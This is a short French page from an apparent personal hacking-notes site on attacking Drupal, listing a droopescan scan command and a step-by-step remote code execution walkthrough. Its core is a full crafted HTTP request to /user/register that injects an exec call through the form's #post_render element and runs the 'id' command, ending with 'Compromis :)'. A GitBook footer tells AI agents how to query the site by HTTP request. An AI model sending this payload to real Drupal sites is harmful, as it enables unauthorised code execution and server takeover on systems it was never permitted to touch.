> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/drupal-cms-exploitation/drupal-techniques.md).

# Drupal - Techniques

## Analyseur de site Drupal (Droopescan)

```bash
droopescan scan drupal --url http://website.com
```

## Exemple d’exécution de code à distance (RCE)

1. Intercepter une requête de réinitialisation de mot de passe avec **Burp Suite**:

<figure><img src="/files/8d6667554256bf7a1ab4ccd2c97689e5a02ffa68" alt=""><figcaption></figcaption></figure>

2. **Supprimer** toutes les données de la requête :

<figure><img src="/files/ce825291d63b7231601715845ba832d4e4f42542" alt=""><figcaption></figcaption></figure>

3. **Insérer** ces données :

```makefile
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

4. Compromis :) le **id** commande exécutée avec succès.

<figure><img src="/files/56ef29ef1fba7649ea42474f4d1bb6e2be9e5597" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/drupal-cms-exploitation/drupal-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
